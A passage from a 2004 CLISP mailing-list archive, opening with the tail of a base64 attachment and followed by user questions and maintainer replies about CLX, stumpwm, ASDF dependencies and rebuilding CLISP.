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 ------=_NextPart_000_0007_0000314C.00002C52-- From sds@gnu.org Fri Mar 26 20:18:31 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B75HC-0004H6-Hn for clisp-list@lists.sourceforge.net; Fri, 26 Mar 2004 20:18:30 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B75HB-0006Xb-PS for clisp-list@lists.sourceforge.net; Fri, 26 Mar 2004 20:18:29 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1B75Gu-0007YY-00; Fri, 26 Mar 2004 23:18:12 -0500 To: clisp-list@lists.sourceforge.net, Adam Warner Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Adam Warner's message of "Sat, 27 Mar 2004 12:17:44 +1200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Adam Warner , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: SINGLE-FLOAT-BITS like functionality Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 26 20:20:22 2004 X-Original-Date: Fri, 26 Mar 2004 23:18:09 -0500 > * Adam Warner [2004-03-27 12:17:44 +1200]: > > CMUCL and SBCL provide access to their IEEE 754 floating point binary > representations through SINGLE-FLOAT-BITS, DOUBLE-FLOAT-LOW-BITS and > DOUBLE-FLOAT-HIGH-BITS, exported from the KERNEL and SB-KERNEL > packages respectively. have a look at see example in clisp/tests/bin-io.tst. -- Sam Steingold (http://www.podval.org/~sds) running w2k usually: can't pay ==> don't buy. software: can't buy ==> don't pay From jcorneli@math.utexas.edu Sat Mar 27 15:30:47 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B7NGJ-0004xS-7t for clisp-list@lists.sourceforge.net; Sat, 27 Mar 2004 15:30:47 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B7NGI-0007kE-1B for clisp-list@lists.sourceforge.net; Sat, 27 Mar 2004 15:30:46 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i2RNUjq31495; Sat, 27 Mar 2004 17:30:45 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1B7NGG-0007ft-00; Sat, 27 Mar 2004 17:30:44 -0600 To: clisp-list@lists.sourceforge.net X-all-your-base-are-belong-to-us: You are on the way to destruction. Message-Id: From: Joe Corneli X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 LINES_OF_YELLING BODY: A WHOLE LINE OF YELLING DETECTED 1.1 UPPERCASE_50_75 message body is 50-75% uppercase Subject: [clisp-list] where is clx/xlib? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Mar 27 15:31:09 2004 X-Original-Date: Sat, 27 Mar 2004 17:30:44 -0600 I built clisp-2.33 --with-module=clx/new-clx I saw some CLX stuff scroll by when clisp was building. But now that it is running, the packages I see are (# # # # # # # # # # # # # # What is the correct proceedure to go through to actually use CLX? From sds@gnu.org Sat Mar 27 15:46:18 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B7NVI-00083C-QV for clisp-list@lists.sourceforge.net; Sat, 27 Mar 2004 15:46:16 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B7NVH-0006OB-Aq for clisp-list@lists.sourceforge.net; Sat, 27 Mar 2004 15:46:15 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1B7NVG-00038l-00; Sat, 27 Mar 2004 18:46:14 -0500 To: clisp-list@lists.sourceforge.net, Joe Corneli Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Joe Corneli's message of "Sat, 27 Mar 2004 17:30:44 -0600") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Joe Corneli Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: where is clx/xlib? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Mar 27 15:47:02 2004 X-Original-Date: Sat, 27 Mar 2004 18:46:11 -0500 > * Joe Corneli [2004-03-27 17:30:44 -0600]: > > I built clisp-2.33 --with-module=clx/new-clx > What is the correct proceedure to go through to actually use CLX? -- Sam Steingold (http://www.podval.org/~sds) running w2k Sinners can repent, but stupid is forever. From jcorneli@math.utexas.edu Sat Mar 27 16:06:57 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B7NpJ-0004SE-CZ for clisp-list@lists.sourceforge.net; Sat, 27 Mar 2004 16:06:57 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B7NpH-0004GV-UC for clisp-list@lists.sourceforge.net; Sat, 27 Mar 2004 16:06:55 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i2S06sq02393; Sat, 27 Mar 2004 18:06:54 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1B7NpG-0007ij-00; Sat, 27 Mar 2004 18:06:54 -0600 To: clisp-list@lists.sourceforge.net CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Sat, 27 Mar 2004 18:46:11 -0500) X-all-your-base-are-belong-to-us: You are on the way to destruction. References: Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: where is clx/xlib? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Mar 27 16:07:02 2004 X-Original-Date: Sat, 27 Mar 2004 18:06:54 -0600 Thanks. Maybe the FAQ could go into the distribution? From jcorneli@math.utexas.edu Sat Mar 27 21:11:56 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B7SaS-0006JC-PQ for clisp-list@lists.sourceforge.net; Sat, 27 Mar 2004 21:11:56 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B7SaP-00024E-25 for clisp-list@lists.sourceforge.net; Sat, 27 Mar 2004 21:11:53 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i2S5Bpq29375; Sat, 27 Mar 2004 23:11:51 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1B7SaN-00085s-00; Sat, 27 Mar 2004 23:11:51 -0600 To: clisp-list@lists.sourceforge.net, stumpwm-devel X-all-your-base-are-belong-to-us: You are on the way to destruction. Message-Id: From: Joe Corneli X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] building stumpwm with clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Mar 27 21:12:01 2004 X-Original-Date: Sat, 27 Mar 2004 23:11:51 -0600 Following SDS's instructions, I seem to have gotten new-clx to work "out of the box" under CLISP. It doesn't show up in the package list (there are no errors when loading this stuff up)... > (list-all-packages) (# # # # # # # # # # # # # # # # # # #) But I can play Sokoban if I run > (load "~/clisp/src/clx/new-clx/demos/clx-demos.lisp") > (clx-demos:sokoban) However, when I try to run `(asdf:operate 'asdf:load-op 'stumpwm)', I find trouble. > (asdf:operate 'asdf:load-op 'stumpwm) ; loading system definition from /Users/arided/lisp-systems/stumpwm.asd into # ;; Loading file /Users/arided/lisp-systems/stumpwm.asd ... ;; Loaded file /Users/arided/lisp-systems/stumpwm.asd *** - Condition of type ASDF:MISSING-DEPENDENCY. If I comment out the line :depends-on (:clx :port) from stumpwm.asd, then I get a little further along. (Could it be a problem with new-clx as opposed to mit-clx?) > (asdf:operate 'asdf:load-op 'stumpwm) ; loading system definition from /Users/arided/lisp-systems/stumpwm.asd into # ;; Loading file /Users/arided/lisp-systems/stumpwm.asd ... ; registering # as STUMPWM ;; Loaded file /Users/arided/lisp-systems/stumpwm.asd ;; Loading file /Users/arided/lisp-systems/stumpwm/package.fas ... ;; Loaded file /Users/arided/lisp-systems/stumpwm/package.fas ;; Loading file /Users/arided/lisp-systems/stumpwm/primitives.fas ... ** - Continuable Error FUNCALL: undefined function XLIB:CHARACTER->KEYSYMS If you continue (by typing 'continue'): Retry The following restarts are also available: STORE-VALUE :R1 You may input a new value for (FDEFINITION 'XLIB:CHARACTER->KEYSYMS). USE-VALUE :R2 You may input a value to be used instead of (FDEFINITION 'XLIB:CHARACTER->KEYSYMS). RETRY :R3 Retry performing # on #. ACCEPT :R4 Continue, treating # on # as having been successful. From sds@gnu.org Sat Mar 27 21:48:44 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B7TA0-0002v3-37 for clisp-list@lists.sourceforge.net; Sat, 27 Mar 2004 21:48:40 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B7T9y-0000nc-EZ for clisp-list@lists.sourceforge.net; Sat, 27 Mar 2004 21:48:38 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1B7T9w-0005nT-00; Sun, 28 Mar 2004 00:48:36 -0500 To: clisp-list@lists.sourceforge.net, Joe Corneli Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Joe Corneli's message of "Sat, 27 Mar 2004 23:11:51 -0600") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Joe Corneli Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: building stumpwm with clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Mar 27 21:49:02 2004 X-Original-Date: Sun, 28 Mar 2004 00:48:33 -0500 > * Joe Corneli [2004-03-27 23:11:51 -0600]: > > It doesn't show up in the package list no, here it is: > # > If I comment out the line > > :depends-on (:clx :port) > > from stumpwm.asd, then I get a little further along. (Could it be a > problem with new-clx as opposed to mit-clx?) it appears to expect you to load CLOCC/PORT and CLOCC/CLX. > FUNCALL: undefined function XLIB:CHARACTER->KEYSYMS new-clx is incomplete. try mit-clx instead - ot CLOCC/CLX which is more or less the same. -- Sam Steingold (http://www.podval.org/~sds) running w2k Someone has changed your life. Save? (y/n) From jcorneli@math.utexas.edu Sun Mar 28 08:55:21 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B7dZB-0006NT-K9 for clisp-list@lists.sourceforge.net; Sun, 28 Mar 2004 08:55:21 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B7dZ9-0007ae-J8 for clisp-list@lists.sourceforge.net; Sun, 28 Mar 2004 08:55:19 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i2SGtHq16408; Sun, 28 Mar 2004 10:55:17 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1B7dZ7-0000dI-00; Sun, 28 Mar 2004 10:55:17 -0600 To: clisp-list@lists.sourceforge.net CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Sun, 28 Mar 2004 00:48:33 -0500) X-all-your-base-are-belong-to-us: You are on the way to destruction. References: Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: building stumpwm with clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Mar 28 08:56:04 2004 X-Original-Date: Sun, 28 Mar 2004 10:55:17 -0600 Is there a good way to "make clean"? Having built CLISP, once, trying to configure it again I get % ./configure --with-module=clx/mit-clx ../src/lndir: destination already exists: /Users/arided/clisp/src/berkeley-db From sds@gnu.org Sun Mar 28 09:11:31 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B7dop-0005V3-46 for clisp-list@lists.sourceforge.net; Sun, 28 Mar 2004 09:11:31 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B7doo-0002bS-Hs for clisp-list@lists.sourceforge.net; Sun, 28 Mar 2004 09:11:30 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1B7dom-0003al-00; Sun, 28 Mar 2004 12:11:28 -0500 To: clisp-list@lists.sourceforge.net, Joe Corneli Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Joe Corneli's message of "Sun, 28 Mar 2004 10:55:17 -0600") References: 